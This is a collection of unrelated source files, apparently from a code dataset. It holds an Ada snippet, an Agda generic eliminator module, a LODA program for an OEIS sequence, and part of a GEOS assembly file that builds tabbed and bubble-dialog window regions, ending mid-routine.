procedure Shapes_Main is
P : Point;
C : Circle;
begin
P.Print;
C.Print;
end Shapes_Main;
|
src/Generics/Constructions/Elim.agda | flupe/generics | 11 | 9734 | <filename>src/Generics/Constructions/Elim.agda
{-# OPTIONS --safe #-}
open import Generics.Prelude hiding (lookup)
open import Generics.Telescope
open import Generics.Desc
open import Generics.All
open import Generics.HasDesc
import Generics.Helpers as Helpers
module Generics.Constructions.Elim {P I ℓ} {A : Indexed P I ℓ} where
module _ (H : HasDesc A) (open HasDesc H)
{p c} (Pr : Pred′ I (λ i → A′ (p , i) → Set c))
where
private
variable
V : ExTele P
i : ⟦ I ⟧tel p
v : ⟦ V ⟧tel p
Pr′ : A′ (p , i) → Set c
Pr′ {i} = unpred′ I _ Pr i
--------------------------
-- Types of methods
levelElimIndArg levelElimCon : ConDesc P V I → Level
levelElimIndArg (var x) = c
levelElimIndArg (π {ℓ} i S C) = ℓ ⊔ levelElimIndArg C
levelElimIndArg (A ⊗ B) = levelElimIndArg A ⊔ levelElimIndArg B
levelElimCon (var x) = c
levelElimCon (π {ℓ′} i S C) = ℓ′ ⊔ levelElimCon C
levelElimCon (A ⊗ B) = levelIndArg A ℓ ⊔ levelElimIndArg A ⊔ levelElimCon B
MethodIndArg : (C : ConDesc P V I)
→ ⟦ C ⟧IndArg A′ (p , v)
→ Set (levelElimIndArg C)
MethodIndArg (var x ) X = Pr′ X
MethodIndArg (π ia S C) X = Π< ia > (S _) (MethodIndArg C ∘ app< ia > X)
MethodIndArg (A ⊗ B) (mA , mB) = MethodIndArg A mA × MethodIndArg B mB
MethodCon : (C : ConDesc P V I)
→ (∀ {i} → ⟦ C ⟧Con A′ (p , v , i) → Set c)
→ Set (levelElimCon C)
MethodCon (var x) f = f refl
MethodCon (π ia S C) f = Π< ia > (S _) (λ s → MethodCon C (f ∘ (s ,_)))
MethodCon (A ⊗ B) f = {g : ⟦ A ⟧IndArg A′ (p , _)}
(Pg : MethodIndArg A g)
→ MethodCon B (f ∘ (g ,_))
Methods : ∀ k → Set (levelElimCon (lookupCon D k))
Methods k = MethodCon (lookupCon D k) λ x → Pr′ (constr (k , x))
--------------------------
-- Eliminator
module _ (methods : Els Methods) where
elimData-wf
: (x : ⟦ D ⟧Data A′ (p , i))
→ AllDataω Acc D x
→ Pr′ (constr x)
elim-wf : (x : A′ (p , i)) → Acc x → Pr′ x
elim-wf x (acc a) = subst Pr′ (constr∘split x) (elimData-wf (split x) a)
elimData-wf (k , x) a
= elimCon (lookupCon D k) (methods k) x a
where
elimIndArg
: (C : ConDesc P V I)
→ (x : ⟦ C ⟧IndArg A′ (p , v))
→ AllIndArgω Acc C x
→ MethodIndArg C x
elimIndArg (var _) x a = elim-wf x a
elimIndArg (π ia S C) x a = fun< ia > (λ s → elimIndArg C (app< ia > x s) (a s))
elimIndArg (A ⊗ B) (xa , xb) (aa , ab)
= elimIndArg A xa aa
, elimIndArg B xb ab
elimCon
: (C : ConDesc P V I)
{mk : ∀ {i} → ⟦ C ⟧Con A′ (p , v , i) → ⟦ D ⟧Data A′ (p , i)}
(mot : MethodCon C (λ x → Pr′ (constr (mk x))))
(x : ⟦ C ⟧Con A′ (p , v , i))
→ AllConω Acc C x
→ Pr′ (constr (mk x))
elimCon (var _) mot refl a = mot
elimCon (π ia _ C) mot (s , x) a = elimCon C (app< ia > mot s) x a
elimCon (A ⊗ B) mot (xa , xb) (aa , ab)
= elimCon B (mot (elimIndArg A xa aa)) xb ab
elim′ : (x : A′ (p , i)) → Pr′ x
elim′ x = elim-wf x (wf x)
deriveElim : Arrows Methods (Pred′ I λ i → (x : A′ (p , i)) → Pr′ x)
deriveElim = curryₙ (λ m → pred′ I _ λ i → elim′ m)
elim : ∀ ⦃ H : HasDesc A ⦄ (open HasDesc H) {p c} (Pr : Pred′ I (λ i → A′ (p , i) → Set c))
→ Arrows (Methods H Pr) (Pred′ I λ i → (x : A′ (p , i)) → Pr′ H Pr x)
elim ⦃ H ⦄ Pr = deriveElim H Pr
|
programs/oeis/179/A179532.asm | neoneye/loda | 22 | 29788 | ; A179532: a(n) = 2^ceiling(n*(n+1)/3).
; 1,2,4,16,128,1024,16384,524288,16777216,1073741824,137438953472,17592186044416,4503599627370496,2305843009213693952,1180591620717411303424,1208925819614629174706176,2475880078570760549798248448,5070602400912917605986812821504,20769187434139310514121985316880384
mov $2,$0
pow $0,2
add $0,$2
mov $1,62401
lpb $0
sub $0,1
trn $0,2
mul $1,2
lpe
div $1,62401
mov $0,$1
|
Library/SpecUI/CommonUI/CWin/cwinClassCommonLow.asm | steakknife/pcgeos | 504 | 5037 | <filename>Library/SpecUI/CommonUI/CWin/cwinClassCommonLow.asm
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1994 -- All Rights Reserved
GEOWORKS CONFIDENTIAL
PROJECT: GEOS
MODULE: CommonUI/CWin (common code for several specific ui's)
FILE: cwinClassCommonLow.asm
ROUTINES:
Name Description
---- -----------
INT OpenWinCreateTabbedWindowRegion
Create a tabbed window region
INT OpenWinCreateWindowRegion
Create a window region
INT BubbleGetOriginalBounds Returns the bounds of the bubble without
considering the spout.
INT BubbleForceRecalcSizeIfNeeded
Determines if the window's geometry needs
to be recalculcated because of the spout.
It really attempts to not do recalculations
more than needed. If there is a spout,
this routine guarentees that the left edge
of the window is equal to the spoutOriginX.
INT OpenWinCreateWindowRegion
Determines if the window's geometry needs
to be recalculcated because of the spout.
It really attempts to not do recalculations
more than needed. If there is a spout,
this routine guarentees that the left edge
of the window is equal to the spoutOriginX.
INT OpenWinCreateWindowRegion
Determines if the window's geometry needs
to be recalculcated because of the spout.
It really attempts to not do recalculations
more than needed. If there is a spout,
this routine guarentees that the left edge
of the window is equal to the spoutOriginX.
INT CalcCurvePoints Calculate a set if points to create a
simple curve.
INT GetWinColor Fetches color info for call to WinOpen
INT GetCoreWinOpenParams Fetches core info needed for WinOpen
INT OpenWinModifyWithNearestWinGroupPriority
Raise the layer and window priority of the
new window to be at least as high as the
nearest win group up the generic tree.
INT GetScreenWin Returns Screen Window in di
INT OpenWinGetState This procedure checks if there is saved
state information for this window.
INT ConvertPixelBoundsToSpecWinSizePairs
Convert this windowed object's bounds into
ratio values. This is done before the data
is saved.
MTD MSG_META_UPDATE_WINDOW *ds:si - instance data es - segment of
OLWinClass
ax - MSG_META_UPDATE_WINDOW cx -
UpdateWindowFlags dl - VisUpdateMode
INT OpenWinAttaching *ds:si - instance data es - segment of
OLWinClass
ax - MSG_META_UPDATE_WINDOW cx -
UpdateWindowFlags dl - VisUpdateMode
MTD MSG_GEN_BRING_TO_TOP This function brings the window to the top
of its window priority group, & and if
using a point & click kbd focus model, &
the window is capable of being the focus
window, then sends in a request to the
application object to make this happen. If
the application is active, the request will
be obliged, & this window will receive a
MSG_META_GAINED_FOCUS_EXCL. If the app
isn't active, this window will still be
remembered, so that it will be given kbd
focus, if there is a choice when the app is
active again.
MTD MSG_VIS_MOVE_RESIZE_WIN Intercepts the method which does final
positioning & resizing of a window, in
order to handle final positioning requests,
amd to make sure that the window is not
lost off-screen, or even too close to the
edge of the screen.
MTD MSG_OL_WIN_SHOULD_TITLE_BUTTON_HAVE_ROUNDED_CORNER
Check if a given title button should have a
round corner in this particular window.
Assumes that the button is in the title
bar.
INT OpenWinShouldHaveRoundBorderFar
Checks appropriate instance data flags and
returns if this window should have round
thick windows. (Basically just calls
OpenWinShouldHaveRoundBorder.)
INT OpenWinShouldHaveRoundBorder
Checks appropriate instance data flags and
returns if this window should have round
thick windows.
INT OpenWinCheckVisibleConstraints
This procedure ensure's that a window's
visiblility constraints are met as it is
opened or moved on the screen.
INT OpenWinCheckMenuWinVisibilityConstraints
This procedure is called after we have
adjusted a menu window so that it is
on-screen. If the menu is now obscuring the
menu button which opens it, we will push
the menu above the menu button.
INT TryAgainInOtherDirection
This procedure is called after we have
adjusted a menu window so that it is
on-screen. If the menu is now obscuring the
menu button which opens it, we will push
the menu above the menu button.
INT KeepMenuOnscreen This procedure is called after we have
adjusted a menu window so that it is
on-screen. If the menu is now obscuring the
menu button which opens it, we will push
the menu above the menu button.
MTD MSG_OL_WIN_GET_HEADER_TITLE_BOUNDS
Returns widths of icons left and right of
title bar.
MTD MSG_OL_WIN_GET_TITLE_BAR_HEIGHT
Returns height of title bar
INT OpenWinGetHeaderBoundsFar
Returns height of title bar
INT OpenWinDrawMoniker Draws complete moniker, including long term
moniker, unless we're running in GCM mode.
INT OpenWinGCMSetTitleFontSize
(Great documentation, EDS) That's why we
don't let him code any more...
INT OpenWinGCMResetTitleFontSize
(Great documentation, EDS) That's why we
don't let him code any more...
INT OpenWinFlushMonikerSize (Great documentation, EDS) That's why we
don't let him code any more...
INT OpenWinUpdateWindowMenuItems
This OpenLook specific procedure
enables/disables the appropriate menu items
in the WindowMenu (popup menu) for this
window.
INT OpenWinEnableOrDisableWindowMenuItem
This OpenLook specific procedure
enables/disables the appropriate menu items
in the WindowMenu (popup menu) for this
window.
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 10/10/94 Broken out of cwinClassCommon.asm
DESCRIPTION:
This file contains "WinCommon" procedures for OLWinClass
See cwinClass.asm for class declaration and method table.
$Id: cwinClassCommonLow.asm,v 1.3 98/05/04 07:22:56 joon Exp $
------------------------------------------------------------------------------@
WinCommon segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OpenWinCreateTabbedWindowRegion
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a tabbed window region
CALLED BY: OpenWinOpenWin
PASS: *ds:si = OLWinClass object
RETURN: ^hbx = region (NULL if no region created)
if bx != NULL
region block is locked
dx:ax = address of region
DESTROYED: cx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 9/27/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if DIALOGS_WITH_FOLDER_TABS ;----------------------------------------------
MAX_REGION_SIZE equ (NUMBER_OF_TABS+1) * 2 * 40 * (size word)
OpenWinCreateTabbedWindowRegion proc near
titleY local word
tabSize local NUMBER_OF_TABS dup (word)
bounds local Rectangle
uses si, di, es
.enter
clr bx ; assume no region
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
LONG jz done
push bx
mov ax, HINT_INTERACTION_FOLDER_TAB_DIALOG
call ObjVarFindData
pop bx
LONG jnc done
andnf ds:[di].OLWI_attrs, not mask OWA_MOVABLE ; not movable
mov ax, ds:[di].OLWI_titleBarBounds.R_bottom
sub ax, ds:[di].OLWI_titleBarBounds.R_top
sub ax, 2
mov ss:[titleY], ax
clr di
call GrCreateState
clr cx
call getChildMonikerWidth
mov tabSize[0], cx
mov cx, 1
call getChildMonikerWidth
mov tabSize[2], cx
mov cx, 2
call getChildMonikerWidth
mov tabSize[4], cx
call GrDestroyState
mov ax, TEMP_OL_WIN_TAB_INFO
call ObjVarFindData
jc doneVardata ; if we already have tab info,
; don't change it
mov ax, TEMP_OL_WIN_TAB_INFO
mov cx, size OLWinFolderTabStruct
call ObjVarAddData
mov ds:[bx].OLWFTS_tabPosition[0], 0
mov ds:[bx].OLWFTS_tabPosition[2], 1
mov ds:[bx].OLWFTS_tabPosition[4], 2
push di
segmov es, ds
lea di, ds:[bx].OLWFTS_tabs
mov cx, (size OLWFTS_tabs) / 2
clr ax
rep stosw
pop di
push si
mov cx, NUMBER_OF_TABS
clr si
tabPositionLoop:
mov dx, tabSize[si]
tst dx
jz popSI
add ax, FIRST_TAB_OFFSET ; used as spacing between tabs
shl si, 1
mov ds:[bx].OLWFTS_tabs[si].LS_start, ax
add ax, titleY
add ax, dx
add ax, titleY
dec ax
mov ds:[bx].OLWFTS_tabs[si].LS_end, ax
inc ax
shr si, 1
add si, size word
loop tabPositionLoop
popSI:
pop si
doneVardata:
push bx
call VisGetBounds
dec cx
dec dx
mov ss:[bounds].R_left, ax
mov ss:[bounds].R_top, bx
mov ss:[bounds].R_right, cx
mov ss:[bounds].R_bottom, dx
pop si ; ds:si <= vardata extra data
mov ax, MAX_REGION_SIZE
mov cx, (mask HAF_LOCK or mask HAF_NO_ERR) shl 8 or \
(mask HF_SWAPABLE or mask HF_SHARABLE)
call MemAlloc
LONG jc done ; return bx = 0
push bx
mov es, ax
clr di
mov cx, titleY
mov ax, ss:[bounds].R_top
mov dx, ax
dec ax
stosw ; store top-1 scanline
mov ax, EOREGREC
stosw ; end of scanline
tabScanLineLoop:
mov ax, dx
stosw ; store scanline
clr bx
tabLoop:
mov ax, ds:[si].OLWFTS_tabs[bx].LS_start
tst ax
jz 10$
add ax, ss:[bounds].R_left
add ax, cx
stosw
mov ax, ds:[si].OLWFTS_tabs[bx].LS_end
add ax, ss:[bounds].R_left
sub ax, cx
stosw
10$:
add bx, (size LineSegment)
cmp bx, (size LineSegment) * NUMBER_OF_TABS
jl tabLoop
mov ax, EOREGREC
stosw ; end of scanline
inc dx
dec cx
cmp cx, (NUMBER_OF_TABS-1) * TAB_SHADOW_SIZE
jg tabScanLineLoop
mov cx, (NUMBER_OF_TABS-1) * TAB_SHADOW_SIZE
dec dx ; dx <= previous scanline
add dx, TAB_SHADOW_SIZE
cardTopLoop:
mov ax, dx
stosw ; store scanline
mov ax, ss:[bounds].R_left
add ax, cx
stosw
mov ax, ss:[bounds].R_right
stosw
mov ax, EOREGREC
stosw
add dx, TAB_SHADOW_SIZE ; increment scanline
sub cx, TAB_SHADOW_SIZE
jg cardTopLoop
mov dx, ss:[bounds].R_bottom
sub dx, (NUMBER_OF_TABS-1) * TAB_SHADOW_SIZE
cardBottomLoop:
mov ax, dx
stosw ; store scanline
mov ax, ss:[bounds].R_left
stosw
mov ax, ss:[bounds].R_right
sub ax, cx
stosw
mov ax, EOREGREC
stosw
add dx, TAB_SHADOW_SIZE ; increment scanline
add cx, TAB_SHADOW_SIZE
cmp cx, (NUMBER_OF_TABS-1) * TAB_SHADOW_SIZE
jle cardBottomLoop
mov ax, EOREGREC
stosw
mov dx, es
clr ax ; dx:ax <= address of region
pop bx ; bx <= handle of region
done:
.leave
ret
getChildMonikerWidth:
push si, di, bp
mov ax, MSG_GEN_FIND_CHILD_AT_POSITION
call ObjCallInstanceNoLock
jc notFound
movdw bxsi, cxdx
mov ax, MSG_GEN_GET_MONIKER_SIZE
mov bp, di
clr dx
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
add cx, TAB_EXTRA_SIZE
notFound:
pop si, di, bp
retn
OpenWinCreateTabbedWindowRegion endp
endif ; if DIALOGS_WITH_FOLDER_TABS -----------------------------------------
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OpenWinCreateWindowRegion
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a Odie style bubble dialog region
CALLED BY: OpenWinOpenWin
PASS: *ds:si = OLWinClass object
RETURN: ^hbx = region (NULL if no region created)
DESTROYED: cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 5/14/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if BUBBLE_DIALOGS and (_DUI)
OpenWinCreateWindowRegion proc near
winCenter local Point
activator local Point
oldMargins local Point
newMargins local Point
if DIALOG_SHADOWS
.assert (NUM_DIALOG_SHADOW_REGION_POINTS gt NUM_WINDOW_REGION_POINTS)
polygon local NUM_DIALOG_SHADOW_REGION_POINTS dup (Point)
else
polygon local NUM_WINDOW_REGION_POINTS dup (Point)
endif
if BUBBLE_DIALOG_SHADOW
winRegion local hptr
shadowRegion local hptr
winSize local word
shadowSize local word
orSize local word
endif
uses ax,di,bp,es
.enter
; We only create bubble dialogs for dialogs.
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
LONG jz notPopup
; Setup margin info
clr cx, dx
mov newMargins.P_x, cx
mov newMargins.P_y, dx
mov ax, TEMP_OL_WIN_BUBBLE_MARGIN
call ObjVarFindData
jnc saveOldMargins
mov cx, ds:[bx].P_x
mov dx, ds:[bx].P_y
saveOldMargins:
mov oldMargins.P_x, cx
mov oldMargins.P_y, dx
; And we need to know what activated the dialog.
mov ax, HINT_INTERACTION_ACTIVATED_BY
call ObjVarFindData
LONG jnc noRegion
;
; See if the activator position is being overridden with the
; following hint.
;
push bx
mov ax, HINT_INTERACTION_ACTIVATOR_POINT
call ObjVarFindData
pop di
jnc getBounds
mov cx, ds:[bx].P_x
mov dx, ds:[bx].P_y
jmp gotPoint
getBounds:
mov bx, di ; ^lbx:si = activator
push si, bp
mov si, ds:[bx].chunk
mov bx, ds:[bx].handle
mov ax, MSG_META_GET_ACTIVATOR_BOUNDS
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov di, bp
pop si, bp
LONG jnc noRegion
add cx, ax
shr cx, 1
add dx, di
shr dx, 1
gotPoint:
if POSITION_BUBBLE_WRT_ACTIVATOR
call PositionBubbleDialog
if _NASTY_HACK_FOR_MENUS_WITH_VERTICAL_HARD_ICONS
PrintMessage <Disable _NASTY_HACK_FOR_MENUS_WITH_VERTICAL_HARD_ICONS before shipping>
;
; convert to field coords (to deal with fake screen size and hard
; icon bars
;
push ax, bx, di
movdw axbx, cxdx
call VisQueryParentWin ; di = window
call WinUntransform
movdw cxdx, axbx
pop ax, bx, di
endif ;_NASTY_HACK_FOR_MENUS_WITH_VERTICAL_HARD_ICONS
endif ;POSITION_BUBBLE_WRT_ACTIVATOR
mov activator.P_x, cx
mov activator.P_y, dx
; Get window bounds and window center
call VisGetBounds
add ax, oldMargins.P_x
add bx, oldMargins.P_y
mov polygon[0].P_x, ax
mov polygon[0].P_y, bx ; polygon[0] = left, top
mov polygon[4].P_x, cx
mov polygon[4].P_y, bx ; polygon[1] = right, top
mov polygon[8].P_x, cx
mov polygon[8].P_y, dx ; polygon[2] = right, bottom
mov polygon[12].P_x, ax
mov polygon[12].P_y, dx ; polygon[3] = left, bottom
push cx, dx
add cx, ax
shr cx, 1
mov winCenter.P_x, cx
add dx, bx
shr dx, 1
mov winCenter.P_y, dx
pop cx, dx
; Now find out which side the wedge should come out from the dialog
cmp ax, activator.P_x
LONG jg checkLeftRight
cmp cx, activator.P_x
LONG jl checkLeftRight
checkTopBottom::
; Enlarge bounds to include size of wedge
sub bx, BUBBLE_WEDGE_SIZE
add dx, BUBBLE_WEDGE_SIZE
cmp bx, activator.P_y
LONG jg topWedge
cmp dx, activator.P_y
LONG jge noRegion
bottomWedge::
; The wedge is on the bottom.
movdw polygon[24], polygon[12], ax ; Make room for 3 pts.
mov ax, polygon[8].P_y ; ax = bottom
mov polygon[12].P_y, ax
mov polygon[20].P_y, ax
add ax, BUBBLE_WEDGE_SIZE
mov polygon[16].P_y, ax
mov ax, activator.P_x
cmp ax, winCenter.P_x
jl bottomLeft
bottomRight::
; The wedge is on the bottom right
mov polygon[12].P_x, ax
mov polygon[16].P_x, ax
sub ax, BUBBLE_WEDGE_SIZE
mov polygon[20].P_x, ax
call addOLWinBorderPoints
if BUBBLE_DIALOG_INSET
call decBottomRight
call addOLWinInsetPoints
call decBottomRight
mov bx, dx
mov ds:[bx+4*(size WedgeWinColorInfo)].WWCI_flags, \
mask WWIF_DEC_X1 or mask WWIF_DEC_Y1
bottomCommon:
mov bx, dx
mov ds:[bx+6*(size WedgeWinColorInfo)].WWCI_flags, \
mask WWIF_DEC_Y1
mov ax, (C_DARK_GREY shl 8) or C_WHITE
mov ds:[bx+0*(size WedgeWinColorInfo)].WWCI_color, al
mov ds:[bx+1*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+2*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+3*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+4*(size WedgeWinColorInfo)].WWCI_color, al
mov ds:[bx+5*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+6*(size WedgeWinColorInfo)].WWCI_color, al
else
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+8].P_y
dec ds:[bx+12].P_x
dec ds:[bx+12].P_y
dec ds:[bx+16].P_x
dec ds:[bx+16].P_y
dec ds:[bx+16].P_y
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
endif
jmp createRegion
if BUBBLE_DIALOG_INSET
decBottomRight label near
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+8].P_y
dec ds:[bx+12].P_x
dec ds:[bx+12].P_y
dec ds:[bx+16].P_x
dec ds:[bx+16].P_y
dec ds:[bx+16].P_y
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
retn
endif
bottomLeft:
; The wedge is on the bottom left
mov polygon[20].P_x, ax
mov polygon[16].P_x, ax
add ax, BUBBLE_WEDGE_SIZE
mov polygon[12].P_x, ax
call addOLWinBorderPoints
if BUBBLE_DIALOG_INSET
call decBottomLeft
call addOLWinInsetPoints
call decBottomLeft
inc ds:[bx+16].P_x ; move spout left in
inc ds:[bx+20].P_x
dec ds:[bx+16].P_y ; bring in spout tip
jmp bottomCommon
decBottomLeft label near
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+8].P_y
dec ds:[bx+12].P_y
dec ds:[bx+16].P_y
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
retn
else
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+8].P_y
dec ds:[bx+12].P_y
dec ds:[bx+16].P_y
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
jmp createRegion
endif
topWedge:
; The wedge is on the top.
mov newMargins.P_y, BUBBLE_WEDGE_SIZE-1
movdw polygon[24], polygon[12], ax ; Make room for 3 pts.
movdw polygon[20], polygon[8], ax ; Make room for 3 pts.
movdw polygon[16], polygon[4], ax ; Make room for 3 pts.
mov ax, polygon[0].P_y ; ax = top
mov polygon[4].P_y, ax
mov polygon[12].P_y, ax
sub ax, BUBBLE_WEDGE_SIZE
mov polygon[8].P_y, ax
mov ax, activator.P_x
cmp ax, winCenter.P_x
jl topLeft
topRight::
; The wedge is on the top right
mov polygon[12].P_x, ax
mov polygon[8].P_x, ax
sub ax, BUBBLE_WEDGE_SIZE
mov polygon[4].P_x, ax
call addOLWinBorderPoints
if BUBBLE_DIALOG_INSET
call decTopRight
call addOLWinInsetPoints
call decTopRight
inc ds:[bx+8].P_y ; lower spout tip
topCommon:
inc ds:[bx+12].P_y ; lower second top segment
inc ds:[bx+16].P_y
mov bx, dx
mov ds:[bx+6*(size WedgeWinColorInfo)].WWCI_flags, \
mask WWIF_DEC_Y1
mov ax, (C_DARK_GREY shl 8) or C_WHITE
mov ds:[bx+0*(size WedgeWinColorInfo)].WWCI_color, al
mov ds:[bx+1*(size WedgeWinColorInfo)].WWCI_color, al
mov ds:[bx+2*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+3*(size WedgeWinColorInfo)].WWCI_color, al
mov ds:[bx+4*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+5*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+6*(size WedgeWinColorInfo)].WWCI_color, al
else
dec ds:[bx+8].P_x
inc ds:[bx+8].P_y
dec ds:[bx+12].P_x
dec ds:[bx+16].P_x
dec ds:[bx+20].P_x
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
endif
jmp createRegion
if BUBBLE_DIALOG_INSET
decTopRight label near
dec ds:[bx+8].P_x
inc ds:[bx+8].P_y
dec ds:[bx+12].P_x
dec ds:[bx+16].P_x
dec ds:[bx+20].P_x
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
retn
endif
topLeft:
; The wedge is on the top left
mov polygon[4].P_x, ax
mov polygon[8].P_x, ax
add ax, BUBBLE_WEDGE_SIZE
mov polygon[12].P_x, ax
call addOLWinBorderPoints
if BUBBLE_DIALOG_INSET
call decTopLeft
call addOLWinInsetPoints
call decTopLeft
inc ds:[bx+4].P_x ; bring spout left in
inc ds:[bx+8].P_x
inc ds:[bx+8].P_y ; move spout tip down
inc ds:[bx+12].P_x ; move spout right base out
jmp topCommon
decTopLeft label near
inc ds:[bx+8].P_y
dec ds:[bx+12].P_x
dec ds:[bx+16].P_x
dec ds:[bx+20].P_x
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
retn
else
inc ds:[bx+8].P_y
dec ds:[bx+12].P_x
dec ds:[bx+16].P_x
dec ds:[bx+20].P_x
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
jmp createRegion
endif
checkLeftRight:
; Check if the wedge should come out from the left or right of dialog
cmp bx, activator.P_y ; if activator is above
LONG jg noRegion ; then no wedge
cmp dx, activator.P_y ; if activator is below
LONG jl noRegion ; then no wedge
; Enlarge bounds to include size of wedge
sub ax, BUBBLE_WEDGE_SIZE
add cx, BUBBLE_WEDGE_SIZE
cmp ax, activator.P_x
LONG jg leftWedge
cmp cx, activator.P_x
LONG jge noRegion
rightWedge::
; The wedge is on the right
movdw polygon[24], polygon[12], ax ; Make room for 3 pts.
movdw polygon[20], polygon[8], ax ; Make room for 3 pts.
mov ax, polygon[4].P_x ; ax = right
mov polygon[8].P_x, ax
mov polygon[16].P_x, ax
add ax, BUBBLE_WEDGE_SIZE
mov polygon[12].P_x, ax
mov ax, activator.P_y
cmp ax, winCenter.P_y
jl rightTop
rightBottom::
; The wedge is on the right bottom
mov polygon[16].P_y, ax
mov polygon[12].P_y, ax
sub ax, BUBBLE_WEDGE_SIZE
mov polygon[8].P_y, ax
call addOLWinBorderPoints
if BUBBLE_DIALOG_INSET
call decRightBottom
call addOLWinInsetPoints
call decRightBottom
rightCommon:
mov bx, dx
mov ds:[bx+6*(size WedgeWinColorInfo)].WWCI_flags, \
mask WWIF_DEC_Y1
mov ax, (C_DARK_GREY shl 8) or C_WHITE
mov ds:[bx+0*(size WedgeWinColorInfo)].WWCI_color, al
mov ds:[bx+1*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+2*(size WedgeWinColorInfo)].WWCI_color, al
mov ds:[bx+3*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+4*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+5*(size WedgeWinColorInfo)].WWCI_color, ah
mov ds:[bx+6*(size WedgeWinColorInfo)].WWCI_color, al
else
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+12].P_x
dec ds:[bx+12].P_x
dec ds:[bx+12].P_y
dec ds:[bx+16].P_x
dec ds:[bx+16].P_y
dec ds:[bx+20].P_x
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
endif
jmp createRegion
if BUBBLE_DIALOG_INSET
decRightBottom label near
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+12].P_x
dec ds:[bx+12].P_x
dec ds:[bx+12].P_y
dec ds:[bx+16].P_x
dec ds:[bx+16].P_y
dec ds:[bx+20].P_x
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
retn
endif
rightTop:
; The wedge is on the right top
mov polygon[8].P_y, ax
mov polygon[12].P_y, ax
add ax, BUBBLE_WEDGE_SIZE
mov polygon[16].P_y, ax
call addOLWinBorderPoints
if BUBBLE_DIALOG_INSET
call decRightTop
call addOLWinInsetPoints
call decRightTop
inc ds:[bx+8].P_y ; lower spout top
inc ds:[bx+12].P_y
dec ds:[bx+12].P_x ; move spout tip right
jmp rightCommon
decRightTop label near
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+12].P_x
dec ds:[bx+16].P_x
dec ds:[bx+20].P_x
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
retn
else
dec ds:[bx+4].P_x
dec ds:[bx+8].P_x
dec ds:[bx+12].P_x
dec ds:[bx+16].P_x
dec ds:[bx+20].P_x
dec ds:[bx+20].P_y
dec ds:[bx+24].P_y
jmp createRegion
endif
leftWedge:
; The wedge is on the left.
mov ax, polygon[12].P_x ; ax = left
mov polygon[16].P_x, ax
mov polygon[24].P_x, ax
sub ax, BUBBLE_WEDGE_SIZE
mov polygon[20].P_x, ax
mov ax, activator.P_y
cmp ax, winCenter.P_y
jl leftTop
leftBottom::
; The wedge is on the left bottom
mov newMargins.P_x, BUBBLE_WEDGE_SIZE-1
mov polygon[16].P_y, ax
mov polygon[20].P_y, ax
sub ax, BUBBLE_WEDGE_SIZE
mov polygon[24].P_y, ax
call addOLWinBorderPoints
if BUBBLE_DIALOG_INSET
call decLeftBottom
call addOLWinInsetPoints
call decLeftBottom
inc ds:[bx+20].P_x ; bring in spout tip
push bx
mov bx, dx
mov ds:[bx+5*(size WedgeWinColorInfo)].WWCI_flags, \
mask WWIF_INC_X1 or mask WWIF_DEC_Y1
pop bx
leftCommon:
inc ds:[bx+12].P_x ; move first left segment right
inc ds:[bx+16].P_x
mov bx, dx
mov ds:[bx+3*(size WedgeWinColorInfo)].WWCI_flags, \
mask WWIF_DEC_Y1
mov ax, (C_DARK_GREY shl 8) or C_WHITE
